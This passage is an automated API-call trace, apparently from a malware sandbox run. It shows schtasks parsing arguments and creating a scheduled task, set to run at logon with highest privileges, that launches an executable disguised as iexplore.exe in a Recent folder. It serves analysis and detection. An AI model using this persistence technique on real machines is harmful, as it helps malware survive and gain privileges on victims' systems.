_ArgList=0x13c108 | out: _Buffer="|f|") returned 3 [0152.421] lstrlenW (lpString="|tr|") returned 4 [0152.421] lstrlenW (lpString="|f|") returned 3 [0152.421] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0152.421] SetLastError (dwErrCode=0x490) [0152.421] lstrlenW (lpString="st") returned 2 [0152.421] lstrlenW (lpString="st") returned 2 [0152.421] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.421] lstrlenW (lpString="f") returned 1 [0152.422] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.422] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|st|") returned 4 [0152.422] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|f|") returned 3 [0152.422] lstrlenW (lpString="|st|") returned 4 [0152.422] lstrlenW (lpString="|f|") returned 3 [0152.422] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0152.422] SetLastError (dwErrCode=0x490) [0152.422] lstrlenW (lpString="sd") returned 2 [0152.422] lstrlenW (lpString="sd") returned 2 [0152.422] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.422] lstrlenW (lpString="f") returned 1 [0152.422] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.422] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|sd|") returned 4 [0152.422] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|f|") returned 3 [0152.422] lstrlenW (lpString="|sd|") returned 4 [0152.422] lstrlenW (lpString="|f|") returned 3 [0152.422] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0152.422] SetLastError (dwErrCode=0x490) [0152.422] lstrlenW (lpString="ed") returned 2 [0152.422] lstrlenW (lpString="ed") returned 2 [0152.422] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.422] lstrlenW (lpString="f") returned 1 [0152.422] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.422] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|ed|") returned 4 [0152.422] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|f|") returned 3 [0152.422] lstrlenW (lpString="|ed|") returned 4 [0152.422] lstrlenW (lpString="|f|") returned 3 [0152.422] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0152.423] SetLastError (dwErrCode=0x490) [0152.423] lstrlenW (lpString="it") returned 2 [0152.423] lstrlenW (lpString="it") returned 2 [0152.423] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.423] lstrlenW (lpString="f") returned 1 [0152.423] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.423] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|it|") returned 4 [0152.423] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|f|") returned 3 [0152.423] lstrlenW (lpString="|it|") returned 4 [0152.423] lstrlenW (lpString="|f|") returned 3 [0152.423] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0152.423] SetLastError (dwErrCode=0x490) [0152.423] lstrlenW (lpString="et") returned 2 [0152.423] lstrlenW (lpString="et") returned 2 [0152.423] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.423] lstrlenW (lpString="f") returned 1 [0152.423] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.423] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|et|") returned 4 [0152.423] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|f|") returned 3 [0152.423] lstrlenW (lpString="|et|") returned 4 [0152.423] lstrlenW (lpString="|f|") returned 3 [0152.423] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0152.423] SetLastError (dwErrCode=0x490) [0152.423] lstrlenW (lpString="k") returned 1 [0152.423] lstrlenW (lpString="k") returned 1 [0152.423] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.423] lstrlenW (lpString="f") returned 1 [0152.423] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.423] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|k|") returned 3 [0152.423] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|f|") returned 3 [0152.424] lstrlenW (lpString="|k|") returned 3 [0152.424] lstrlenW (lpString="|f|") returned 3 [0152.424] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0152.424] SetLastError (dwErrCode=0x490) [0152.424] lstrlenW (lpString="du") returned 2 [0152.424] lstrlenW (lpString="du") returned 2 [0152.424] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.424] lstrlenW (lpString="f") returned 1 [0152.424] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.424] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|du|") returned 4 [0152.424] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|f|") returned 3 [0152.424] lstrlenW (lpString="|du|") returned 4 [0152.424] lstrlenW (lpString="|f|") returned 3 [0152.424] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0152.424] SetLastError (dwErrCode=0x490) [0152.424] lstrlenW (lpString="ri") returned 2 [0152.424] lstrlenW (lpString="ri") returned 2 [0152.424] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.424] lstrlenW (lpString="f") returned 1 [0152.424] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.424] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|ri|") returned 4 [0152.424] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|f|") returned 3 [0152.424] lstrlenW (lpString="|ri|") returned 4 [0152.424] lstrlenW (lpString="|f|") returned 3 [0152.424] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0152.424] SetLastError (dwErrCode=0x490) [0152.424] lstrlenW (lpString="z") returned 1 [0152.424] lstrlenW (lpString="z") returned 1 [0152.424] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.425] lstrlenW (lpString="f") returned 1 [0152.425] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.425] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|z|") returned 3 [0152.425] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|f|") returned 3 [0152.425] lstrlenW (lpString="|z|") returned 3 [0152.425] lstrlenW (lpString="|f|") returned 3 [0152.425] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0152.438] SetLastError (dwErrCode=0x490) [0152.439] lstrlenW (lpString="f") returned 1 [0152.439] lstrlenW (lpString="f") returned 1 [0152.439] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.439] lstrlenW (lpString="f") returned 1 [0152.439] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.439] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|f|") returned 3 [0152.439] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|f|") returned 3 [0152.439] lstrlenW (lpString="|f|") returned 3 [0152.439] lstrlenW (lpString="|f|") returned 3 [0152.439] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0152.439] SetLastError (dwErrCode=0x0) [0152.439] SetLastError (dwErrCode=0x0) [0152.439] GetProcessHeap () returned 0x180000 [0152.439] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0x20) returned 0x19ccf0 [0152.439] _memicmp (_Buf1=0x19ba90, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.439] LoadStringW (in: hInstance=0x0, uID=0x20d, lpBuffer=0x19d280, cchBufferMax=256 | out: lpBuffer="LIMITED") returned 0x7 [0152.439] lstrlenW (lpString="LIMITED") returned 7 [0152.439] GetProcessHeap () returned 0x180000 [0152.439] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0x10) returned 0x19d580 [0152.439] GetThreadLocale () returned 0x409 [0152.439] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="LIMITED", cchCount2=-1) returned 1 [0152.439] GetProcessHeap () returned 0x180000 [0152.439] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0x20) returned 0x19ccc0 [0152.466] _memicmp (_Buf1=0x19ba90, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.466] LoadStringW (in: hInstance=0x0, uID=0x20e, lpBuffer=0x19d280, cchBufferMax=256 | out: lpBuffer="HIGHEST") returned 0x7 [0152.466] lstrlenW (lpString="HIGHEST") returned 7 [0152.466] GetProcessHeap () returned 0x180000 [0152.466] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0x10) returned 0x19d5a0 [0152.466] GetThreadLocale () returned 0x409 [0152.466] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="HIGHEST", cchCount2=-1) returned 2 [0152.467] GetProcessHeap () returned 0x180000 [0152.467] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0x20) returned 0x19cc90 [0152.467] _memicmp (_Buf1=0x19ba90, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.467] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x19d280, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0152.467] lstrlenW (lpString="MINUTE") returned 6 [0152.467] GetProcessHeap () returned 0x180000 [0152.467] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0xe) returned 0x19d5c0 [0152.467] GetThreadLocale () returned 0x409 [0152.467] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 3 [0152.467] GetProcessHeap () returned 0x180000 [0152.467] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0x20) returned 0x19cc60 [0152.467] _memicmp (_Buf1=0x19ba90, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.467] LoadStringW (in: hInstance=0x0, uID=0x1af, lpBuffer=0x19d280, cchBufferMax=256 | out: lpBuffer="HOURLY") returned 0x6 [0152.467] lstrlenW (lpString="HOURLY") returned 6 [0152.467] GetProcessHeap () returned 0x180000 [0152.467] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0xe) returned 0x19d5e0 [0152.467] GetThreadLocale () returned 0x409 [0152.467] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="HOURLY", cchCount2=-1) returned 3 [0152.467] GetProcessHeap () returned 0x180000 [0152.467] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0x20) returned 0x19cc30 [0152.467] _memicmp (_Buf1=0x19ba90, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.467] LoadStringW (in: hInstance=0x0, uID=0x1b0, lpBuffer=0x19d280, cchBufferMax=256 | out: lpBuffer="DAILY") returned 0x5 [0152.467] lstrlenW (lpString="DAILY") returned 5 [0152.467] GetProcessHeap () returned 0x180000 [0152.467] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0xc) returned 0x19d600 [0152.467] GetThreadLocale () returned 0x409 [0152.467] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="DAILY", cchCount2=-1) returned 3 [0152.467] GetProcessHeap () returned 0x180000 [0152.467] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0x20) returned 0x19cc00 [0152.467] _memicmp (_Buf1=0x19ba90, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.468] LoadStringW (in: hInstance=0x0, uID=0x1b1, lpBuffer=0x19d280, cchBufferMax=256 | out: lpBuffer="WEEKLY") returned 0x6 [0152.468] lstrlenW (lpString="WEEKLY") returned 6 [0152.468] GetProcessHeap () returned 0x180000 [0152.468] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0xe) returned 0x19d620 [0152.468] GetThreadLocale () returned 0x409 [0152.468] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="WEEKLY", cchCount2=-1) returned 1 [0152.468] GetProcessHeap () returned 0x180000 [0152.468] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0x20) returned 0x19cbd0 [0152.468] _memicmp (_Buf1=0x19ba90, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.468] LoadStringW (in: hInstance=0x0, uID=0x1b2, lpBuffer=0x19d280, cchBufferMax=256 | out: lpBuffer="MONTHLY") returned 0x7 [0152.468] lstrlenW (lpString="MONTHLY") returned 7 [0152.468] GetProcessHeap () returned 0x180000 [0152.468] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0x10) returned 0x19d640 [0152.468] GetThreadLocale () returned 0x409 [0152.468] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MONTHLY", cchCount2=-1) returned 3 [0152.468] _memicmp (_Buf1=0x19ba90, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.468] LoadStringW (in: hInstance=0x0, uID=0x1b3, lpBuffer=0x19d280, cchBufferMax=256 | out: lpBuffer="ONCE") returned 0x4 [0152.468] lstrlenW (lpString="ONCE") returned 4 [0152.468] GetProcessHeap () returned 0x180000 [0152.468] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0xa) returned 0x19d660 [0152.468] GetThreadLocale () returned 0x409 [0152.468] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONCE", cchCount2=-1) returned 3 [0152.468] _memicmp (_Buf1=0x19ba90, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.468] LoadStringW (in: hInstance=0x0, uID=0x1b4, lpBuffer=0x19d280, cchBufferMax=256 | out: lpBuffer="ONSTART") returned 0x7 [0152.468] lstrlenW (lpString="ONSTART") returned 7 [0152.468] GetThreadLocale () returned 0x409 [0152.468] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONSTART", cchCount2=-1) returned 1 [0152.468] _memicmp (_Buf1=0x19ba90, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.468] LoadStringW (in: hInstance=0x0, uID=0x1b5, lpBuffer=0x19d280, cchBufferMax=256 | out: lpBuffer="ONLOGON") returned 0x7 [0152.468] lstrlenW (lpString="ONLOGON") returned 7 [0152.469] GetThreadLocale () returned 0x409 [0152.469] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONLOGON", cchCount2=-1) returned 2 [0152.469] SetLastError (dwErrCode=0x0) [0152.469] GetProcessHeap () returned 0x180000 [0152.469] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0x1fc) returned 0x19c2b0 [0152.469] _memicmp (_Buf1=0x19ba90, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.469] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x19d280, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0152.469] lstrlenW (lpString="First") returned 5 [0152.469] _memicmp (_Buf1=0x19ba90, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.469] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x19d280, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0152.469] lstrlenW (lpString="Second") returned 6 [0152.469] _memicmp (_Buf1=0x19ba90, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.469] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x19d280, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0152.469] lstrlenW (lpString="Third") returned 5 [0152.469] _memicmp (_Buf1=0x19ba90, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.469] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x19d280, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0152.469] lstrlenW (lpString="Fourth") returned 6 [0152.469] _memicmp (_Buf1=0x19ba90, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.469] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x19d280, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0152.469] lstrlenW (lpString="Last") returned 4 [0152.469] _memicmp (_Buf1=0x19ba90, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.469] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x19d280, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0152.469] lstrlenW (lpString="First") returned 5 [0152.469] _memicmp (_Buf1=0x19ba90, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.469] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x19d280, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0152.469] lstrlenW (lpString="Second") returned 6 [0152.470] _memicmp (_Buf1=0x19ba90, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.470] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x19d280, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0152.470] lstrlenW (lpString="Third") returned 5 [0152.470] GetProcessHeap () returned 0x180000 [0152.470] GetProcessHeap () returned 0x180000 [0152.470] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x19d660) returned 1 [0152.470] GetProcessHeap () returned 0x180000 [0152.470] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x19d660) returned 0xa [0152.470] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x19d660 | out: hHeap=0x180000) returned 1 [0152.470] GetProcessHeap () returned 0x180000 [0152.470] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0xc) returned 0x19d660 [0152.470] _memicmp (_Buf1=0x19ba90, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.470] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x19d280, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0152.470] lstrlenW (lpString="Fourth") returned 6 [0152.470] _memicmp (_Buf1=0x19ba90, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.470] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x19d280, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0152.470] lstrlenW (lpString="Last") returned 4 [0152.470] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x13bf80, cchData=128 | out: lpLCData="0") returned 2 [0152.470] _memicmp (_Buf1=0x19ba90, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.470] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x19d280, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0152.470] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0152.470] GetProcessHeap () returned 0x180000 [0152.470] GetProcessHeap () returned 0x180000 [0152.470] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x19d580) returned 1 [0152.470] GetProcessHeap () returned 0x180000 [0152.470] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x19d580) returned 0x10 [0152.470] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x19d580 | out: hHeap=0x180000) returned 1 [0152.471] GetProcessHeap () returned 0x180000 [0152.471] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0x16) returned 0x19d580 [0152.471] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x13bfa0, cchData=128 | out: lpLCData="0") returned 2 [0152.471] _memicmp (_Buf1=0x19ba90, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.471] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x19d280, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0152.471] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0152.471] GetProcessHeap () returned 0x180000 [0152.471] GetProcessHeap () returned 0x180000 [0152.471] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x19d5a0) returned 1 [0152.471] GetProcessHeap () returned 0x180000 [0152.471] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x19d5a0) returned 0x10 [0152.471] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x19d5a0 | out: hHeap=0x180000) returned 1 [0152.471] GetProcessHeap () returned 0x180000 [0152.471] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0x16) returned 0x19d5a0 [0152.471] GetLocalTime (in: lpSystemTime=0x13c1d0 | out: lpSystemTime=0x13c1d0*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0xc, wMilliseconds=0x1ee)) [0152.471] GetLocalTime (in: lpSystemTime=0x13ca88 | out: lpSystemTime=0x13ca88*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0xc, wMilliseconds=0x1ee)) [0152.471] lstrlenW (lpString="") returned 0 [0152.471] lstrlenW (lpString="") returned 0 [0152.471] lstrlenW (lpString="") returned 0 [0152.471] lstrlenW (lpString="") returned 0 [0152.471] lstrlenW (lpString="") returned 0 [0152.471] lstrlenW (lpString="") returned 0 [0152.472] lstrlenW (lpString="") returned 0 [0152.472] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0152.490] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0152.614] CoCreateInstance (in: rclsid=0xffd41ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xffd41ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x13c850 | out: ppv=0x13c850*=0x3b7a50) returned 0x0 [0152.914] TaskScheduler:ITaskService:Connect (This=0x3b7a50, serverName=0x13c930*(varType=0x8, wReserved1=0x13, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x13c8f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0x13c910*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x13c8d0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0153.044] TaskScheduler:IUnknown:AddRef (This=0x3b7a50) returned 0x2 [0153.044] TaskScheduler:ITaskService:GetFolder (in: This=0x3b7a50, Path=0x0, ppFolder=0x13c9e8 | out: ppFolder=0x13c9e8*=0x3b5aa0) returned 0x0 [0153.047] TaskScheduler:ITaskService:NewTask (in: This=0x3b7a50, flags=0x0, ppDefinition=0x13c9e0 | out: ppDefinition=0x13c9e0*=0x3b7c40) returned 0x0 [0153.047] ITaskDefinition:get_Actions (in: This=0x3b7c40, ppActions=0x13c960 | out: ppActions=0x13c960*=0x3b7d00) returned 0x0 [0153.047] IActionCollection:Create (in: This=0x3b7d00, Type=0, ppAction=0x13c980 | out: ppAction=0x13c980*=0x3b6060) returned 0x0 [0153.048] lstrlenW (lpString="'C:\\Users\\Default\\Recent\\iexplore.exe'") returned 38 [0153.048] lstrlenW (lpString="'C:\\Users\\Default\\Recent\\iexplore.exe'") returned 38 [0153.048] lstrlenW (lpString=" ") returned 1 [0153.048] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0153.048] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0153.048] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0153.048] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0153.048] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0153.048] StrChrW (lpStart=" ", wMatch=0x55) returned 0x0 [0153.048] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0153.048] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0153.048] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0153.048] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0153.048] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0153.048] StrChrW (lpStart=" ", wMatch=0x44) returned 0x0 [0153.048] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0153.048] StrChrW (lpStart=" ", wMatch=0x66) returned 0x0 [0153.048] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0153.048] StrChrW (lpStart=" ", wMatch=0x75) returned 0x0 [0153.048] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0153.048] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0153.048] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0153.048] StrChrW (lpStart=" ", wMatch=0x52) returned 0x0 [0153.048] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0153.048] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0153.048] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0153.048] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0153.049] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0153.049] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0153.049] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0153.049] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0153.049] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0153.049] StrChrW (lpStart=" ", wMatch=0x70) returned 0x0 [0153.049] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0153.049] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0153.049] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0153.049] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0153.049] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0153.049] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0153.049] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0153.049] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0153.049] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0153.049] IUnknown:Release (This=0x3b6060) returned 0x1 [0153.049] IUnknown:Release (This=0x3b7d00) returned 0x1 [0153.049] ITaskDefinition:get_Triggers (in: This=0x3b7c40, ppTriggers=0x13c4e0 | out: ppTriggers=0x13c4e0*=0x3b7e40) returned 0x0 [0153.049] ITriggerCollection:Create (in: This=0x3b7e40, Type=9, ppTrigger=0x13c4d8 | out: ppTrigger=0x13c4d8*=0x3b60f0) returned 0x0 [0153.050] IUnknown:QueryInterface (in: This=0x3b60f0, riid=0xffd41c48*(Data1=0x72dade38, Data2=0xfae4, Data3=0x4b3e, Data4=([0]=0xba, [1]=0xf4, [2]=0x5d, [3]=0x0, 